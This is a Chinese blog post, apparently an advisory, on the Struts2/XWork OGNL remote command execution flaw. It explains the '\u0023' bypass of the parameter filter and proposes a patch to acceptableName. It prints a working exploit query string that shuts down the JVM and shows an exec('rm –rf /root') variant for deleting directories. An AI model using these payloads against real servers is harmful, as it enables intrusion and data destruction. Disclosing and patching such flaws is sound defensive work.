`

米struts2的用户请注意这个超级安全漏洞

阅读更多
最近发现 struts 2的这个严重安全漏洞,在http://www.iteye.com/topic/720209中已经有所表述,主要是OGNL的问题,摘录如下:
exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍:
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
Java代码
?user.address.city=Bishkek&user['favoriteDrink']=kumys 

?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
Java代码
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys") 

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
Java代码
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
Java代码
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是Java代码
java.lang.Runtime.getRuntime().exit(1); 

java.lang.Runtime.getRuntime().exit(1);
类似的可以执行Java代码
java.lang.Runtime.getRuntime().exec("rm –rf /root") 

java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有权限就可以删除任何一个目录。


目前的解决方法如下,官方的出了补丁的,可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前2.1.8的最新版本的,可以下载其中这个补丁修补,
而如果你的版本是低于2.1.8的,可以去下载xwork-2.XX.JAR对应的源代码(本来想反编译JAR的,发现还是找源代码好),
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中调整如下:
protected boolean acceptableName(String name) {
       boolean foundMatch=false;  
        foundMatch = name.contains("\\u0023");  
        if(foundMatch){  
            return false;  
        }
        if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
                || name.indexOf(':') != -1 || isExcluded(name)) {
            return false;
        } else {
            return true;
        }
       
    }
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics